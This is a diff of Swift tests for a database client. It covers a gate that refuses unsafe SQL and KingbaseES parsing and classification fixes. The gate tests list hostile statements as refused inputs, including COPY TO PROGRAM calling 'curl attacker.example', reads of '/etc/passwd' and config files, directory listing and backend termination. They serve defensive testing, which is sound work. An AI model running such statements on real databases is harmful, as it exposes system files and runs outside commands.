@@ -76,7 +76,9 @@ struct ExternalStatementGateTests {
@Test("A statement that reaches the filesystem or runs server code is refused", arguments: [
"COPY users FROM '/etc/passwd'",
"COPY users TO PROGRAM 'curl attacker.example'",
- "SELECT pg_read_file('/etc/passwd')"
+ "SELECT pg_read_file('/etc/passwd')",
+ "SELECT sys_read_file('kingbase.conf')",
+ "SELECT * FROM sys_ls_dir('.')"
])
func filesystemAndCodeRefused(sql: String) {
#expect(refusal(statement(sql)) == .denied(
@@ -182,6 +184,8 @@ struct ExternalStatementGateTests {
("SELECT pg_cancel_backend(123)", DatabaseType.postgresql),
("SELECT pg_terminate_backend(123)", DatabaseType.redshift),
("SELECT pg_cancel_backend(123)", DatabaseType.cockroachdb),
+ ("SELECT sys_terminate_backend(123)", DatabaseType.kingbasees),
+ ("SELECT sys_reload_conf()", DatabaseType.kingbasees),
("SELECT query_to_xml('SELECT pg_terminate_backend(123)', true, false, '')", DatabaseType.postgresql),
("EXPLAIN ANALYSE SELECT pg_terminate_backend(123)", DatabaseType.postgresql),
("KILL 123", DatabaseType.mysql),
diff --git a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift
index ca7150c587..5eaefccf1a 100644
--- a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift
@@ -145,11 +145,8 @@ struct CatalogChangeClassifierTests {
@Test("a block on a KingbaseES Oracle-mode session is read as a block, not as a transaction start")
func oracleModeBlockIsOpaque() {
let sql = "BEGIN staging_pkg.create_tables(1); END;"
- #expect(CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees).kinds.isEmpty)
- #expect(
- CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle)
- .kinds == .everything
- )
+ let effect = CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle)
+ #expect(effect == .opaque)
}
@Test("a script reports the union of its statements")
diff --git a/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift b/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift
index 8606ac35d7..b7a26f93f9 100644
--- a/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift
@@ -34,6 +34,21 @@ struct SQLFileParserPLSQLTests {
!example.script.contains("--") && !example.script.contains("/*")
}
+ @Test("An Oracle-mode KingbaseES import ends a quoted routine body at its semicolon")
+ func kingbaseOracleModeQuotedBodies() async throws {
+ let script = """
+ CREATE FUNCTION f() RETURNS integer LANGUAGE SQL AS E'SELECT 42';
+ CREATE FUNCTION g() RETURNS integer AS $$ SELECT 1; $$ LANGUAGE sql;
+ CREATE FUNCTION h RETURN NUMBER AS "v" NUMBER := 1; BEGIN RETURN "v"; END;
+ /
+ SELECT E'it\\'s; here';
+ SELECT 2;
+ """
+ let statements = try await Self.parse(script, grammar: TestGrammar.kingbaseESOracle)
+ #expect(statements.count == 5)
+ #expect(statements.last == "SELECT 2")
+ }
+
@Test("An imported script splits like the same script in the editor", arguments: commentFreeCases)
func importMatchesTheEditor(example: PLSQLScriptCase) async throws {
#expect(try await Self.parse(example.script, grammar: TestGrammar.oracle) == example.statements)
diff --git a/apple/changelog.d/3855.fixed.md b/apple/changelog.d/3855.fixed.md
new file mode 100644
index 0000000000..ca1fee03d9
--- /dev/null
+++ b/apple/changelog.d/3855.fixed.md
@@ -0,0 +1 @@
+The "is not empty" filter found no rows on Oracle, and both empty filters failed on a CLOB column.